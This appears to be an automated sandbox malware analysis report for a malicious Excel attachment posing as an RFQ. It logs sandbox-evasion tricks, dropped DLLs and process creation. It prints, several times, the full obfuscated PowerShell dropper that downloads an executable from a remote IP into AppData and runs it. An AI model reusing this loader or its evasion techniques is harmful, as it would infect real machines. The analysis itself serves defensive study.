Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: Thermo Fisher RFQ_TFS-1805.xls Stream path 'Workbook' entropy: 7.99937475846 (max. 8.0)
Source: ~DF8BC8A5344F5550C8.TMP.0.dr Stream path 'Workbook' entropy: 7.99937475846 (max. 8.0)

Malware Analysis System Evasion
barindex
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe RDTSC instruction interceptor: First address: 4C0A47F second address: 4C0A47F instructions: 0x00000000 rdtsc 0x00000002 cmp esi, 003D8B4Dh 0x00000008 cmp ebx, ecx 0x0000000a jc 00007FFAF8E86B32h 0x0000000c inc ebp 0x0000000d cmp ch, bh 0x0000000f inc ebx 0x00000010 rdtsc
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 6719 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 3234 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1193
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1656
Found dropped PE file which has not been started or loaded
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsn59E.tmp\System.dll Jump to dropped file
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsnB972.tmp\nsDialogs.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nxtolslo\nxtolslo.dll Jump to dropped file
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsn59E.tmp\UserInfo.dll Jump to dropped file
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsn59E.tmp\nsExec.dll Jump to dropped file
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsnB972.tmp\UserInfo.dll Jump to dropped file
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsn59E.tmp\LangDLL.dll Jump to dropped file
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsnB972.tmp\LangDLL.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\4xnxdpzb\4xnxdpzb.dll Jump to dropped file
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsnB972.tmp\System.dll Jump to dropped file
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsnB972.tmp\nsExec.dll Jump to dropped file
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsn59E.tmp\nsDialogs.dll Jump to dropped file
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\mshta.exe TID: 3776 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3916 Thread sleep count: 6719 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3916 Thread sleep count: 3234 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3964 Thread sleep time: -120000s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3972 Thread sleep time: -1844674407370954s >= -30000s Jump to behavior
Source: C:\Windows\System32\mshta.exe TID: 3176 Thread sleep time: -420000s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2908 Thread sleep count: 1193 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2908 Thread sleep count: 1656 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2776 Thread sleep time: -120000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1384 Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3064 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe Code function: 11_2_00405C60 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 11_2_00405C60
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe Code function: 11_2_00402930 FindFirstFileW, 11_2_00402930
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe Code function: 11_2_004068B1 FindFirstFileW,FindClose, 11_2_004068B1
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe Code function: 20_2_00405C60 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 20_2_00405C60
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe Code function: 20_2_00402930 FindFirstFileW, 20_2_00402930
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe Code function: 20_2_004068B1 FindFirstFileW,FindClose, 20_2_004068B1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe API call chain: ExitProcess graph end node
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe Code function: 11_2_729F1BFF GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW, 11_2_729F1BFF
Enables debug privileges
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C pOwERShEll.eXE -Ex byPasS -NOP -w 1 -C DEvicEcREdeNTIaLdEployment ; Iex($(IEx('[SyStem.TExT.EncODing]'+[CHaR]0X3A+[chAr]0X3a+'UTF8.getsTRIng([sySTEm.CONVErT]'+[CHaR]58+[Char]0x3A+'fROMBASE64StRiNG('+[CHar]34+'JE9TQzgxICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJFUkRFRmluSVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSTG1vTi5kTGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBGY1pjall6LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzc1hlUSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmNVelAsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZSmdRSEt2LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVckIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInB1UWd1aERYUXkiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV3JKQWJ0TVcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkT1NDODE6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTY2LzM0MC9NZU1wRW5nLmV4ZSIsIiRlblY6QVBQREFUQVxNZU1wRW5nLmV4ZSIsMCwwKTtTdEFydC1TbGVFcCgzKTtzdEFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXE1lTXBFbmcuZXhlIg=='+[CHAr]0X22+'))')))" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOwERShEll.eXE -Ex byPasS -NOP -w 1 -C DEvicEcREdeNTIaLdEployment ; Iex($(IEx('[SyStem.TExT.EncODing]'+[CHaR]0X3A+[chAr]0X3a+'UTF8.getsTRIng([sySTEm.CONVErT]'+[CHaR]58+[Char]0x3A+'fROMBASE64StRiNG('+[CHar]34+'JE9TQzgxICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJFUkRFRmluSVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSTG1vTi5kTGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBGY1pjall6LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzc1hlUSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmNVelAsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZSmdRSEt2LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVckIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInB1UWd1aERYUXkiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV3JKQWJ0TVcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkT1NDODE6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTY2LzM0MC9NZU1wRW5nLmV4ZSIsIiRlblY6QVBQREFUQVxNZU1wRW5nLmV4ZSIsMCwwKTtTdEFydC1TbGVFcCgzKTtzdEFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXE1lTXBFbmcuZXhlIg=='+[CHAr]0X22+'))')))" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nxtolslo\nxtolslo.cmdline" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Roaming\MeMpEng.exe "C:\Users\user\AppData\Roaming\MeMpEng.exe" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESA15F.tmp" "c:\Users\user\AppData\Local\Temp\nxtolslo\CSCFB69AE6B65A0404EAF48BF1216DF885C.TMP" Jump to behavior
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C pOwERShEll.eXE -Ex byPasS -NOP -w 1 -C DEvicEcREdeNTIaLdEployment ; Iex($(IEx('[SyStem.TExT.EncODing]'+[CHaR]0X3A+[chAr]0X3a+'UTF8.getsTRIng([sySTEm.CONVErT]'+[CHaR]58+[Char]0x3A+'fROMBASE64StRiNG('+[CHar]34+'JE9TQzgxICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJFUkRFRmluSVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSTG1vTi5kTGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBGY1pjall6LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzc1hlUSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmNVelAsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZSmdRSEt2LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVckIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInB1UWd1aERYUXkiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV3JKQWJ0TVcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkT1NDODE6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTY2LzM0MC9NZU1wRW5nLmV4ZSIsIiRlblY6QVBQREFUQVxNZU1wRW5nLmV4ZSIsMCwwKTtTdEFydC1TbGVFcCgzKTtzdEFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXE1lTXBFbmcuZXhlIg=='+[CHAr]0X22+'))')))" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOwERShEll.eXE -Ex byPasS -NOP -w 1 -C DEvicEcREdeNTIaLdEployment ; Iex($(IEx('[SyStem.TExT.EncODing]'+[CHaR]0X3A+[chAr]0X3a+'UTF8.getsTRIng([sySTEm.CONVErT]'+[CHaR]58+[Char]0x3A+'fROMBASE64StRiNG('+[CHar]34+'JE9TQzgxICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJFUkRFRmluSVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSTG1vTi5kTGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBGY1pjall6LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzc1hlUSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmNVelAsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZSmdRSEt2LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVckIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInB1UWd1aERYUXkiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV3JKQWJ0TVcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkT1NDODE6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTY2LzM0MC9NZU1wRW5nLmV4ZSIsIiRlblY6QVBQREFUQVxNZU1wRW5nLmV4ZSIsMCwwKTtTdEFydC1TbGVFcCgzKTtzdEFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXE1lTXBFbmcuZXhlIg=='+[CHAr]0X22+'))')))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\4xnxdpzb\4xnxdpzb.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Roaming\MeMpEng.exe "C:\Users\user\AppData\Roaming\MeMpEng.exe"
